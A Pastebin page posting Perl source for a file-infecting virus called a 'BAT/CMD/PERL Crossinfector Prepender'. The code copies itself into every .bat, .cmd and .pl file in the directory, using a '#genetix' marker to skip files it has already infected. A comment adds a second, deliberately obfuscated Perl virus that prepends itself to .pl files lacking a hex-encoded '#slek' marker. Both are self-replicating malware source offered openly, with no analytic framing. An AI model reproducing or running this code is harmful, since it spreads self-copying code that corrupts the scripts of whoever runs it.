Advertisement
FlyFar

BAT/CMD/PERL Crossinfector Prepender

Feb 17th, 2023
1,604
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.57 KB | Cybersecurity | 0 0
  1. $TheCode = __FILE__;
  2. $batpart = "
  3. for %%a in (*.bat *.cmd *.pl) do copy %0 %%a
  4. ";
  5.  
  6. my @Vcode = ();
  7. open(Host, $TheCode);
  8. @Vcode = <Host>;
  9. while(<Host>) {
  10.   $. > 36 ? last : push @Vcode,$_;
  11. }
  12. close(Host);
  13.  
  14. while (<*.bat *.cmd *.pl>) {
  15. $Victim = $_;
  16.      
  17.      my @VicCode = ();
  18.      open(Target, $Victim);
  19.      @VicCode = <Host>;
  20.      while(<Target>) {
  21.        $. > 36 ? last : push @VicCode,$_;
  22.      }
  23.      close(Target);
  24.  
  25.      if (@VicCode[1] !~ "#genetix") {
  26.      open(Target, ">$Victim");
  27.      print Target @Vcode,@VicCode;
  28.      close(Target);
  29.  
  30.     }
  31. }
Advertisement
Comments
  • sleksey
    1 year
    # Perl 0.56 KB | 0 0
    1. Hello, it's me Genetix! Otherwise known as slek, kels, kelsey, kelscat, perlgirl and god knows how many others :o
    2.  
    3. #!/usr/bin/perl
    4. #slek
    5. open$a,'<',$0;$b=~s/.//g;$b=~s/(.*)/join('',map{defined($_)?$_:()}map{scalar<$a>}0..10)/e #VERY
    6. ;close$a;map{(sub{($d)=@_;open(my$e,'+<',$d );if(<$e>&&!(<$e>=~/\x23\x73\x6c\x65\x6b/)) { #UGLY
    7. open (my$f,'+<', $d);my$g=~s/.//g;${'x'.'y'}=do{local$/;<$f>}; $g=~s/(.*)/$b.${'x'.'y'}/e #PERL
    8. ;seek$e,0,0;print$e($g);truncate$e,tell$e;;close$f}close$e; })->($_)}grep{/\.pl$/}glob'*' #CODE
    9. ;print map{chr}/(\d{3})/g for'106 097 112 104';
Add Comment
Please, Sign In to add comment
Advertisement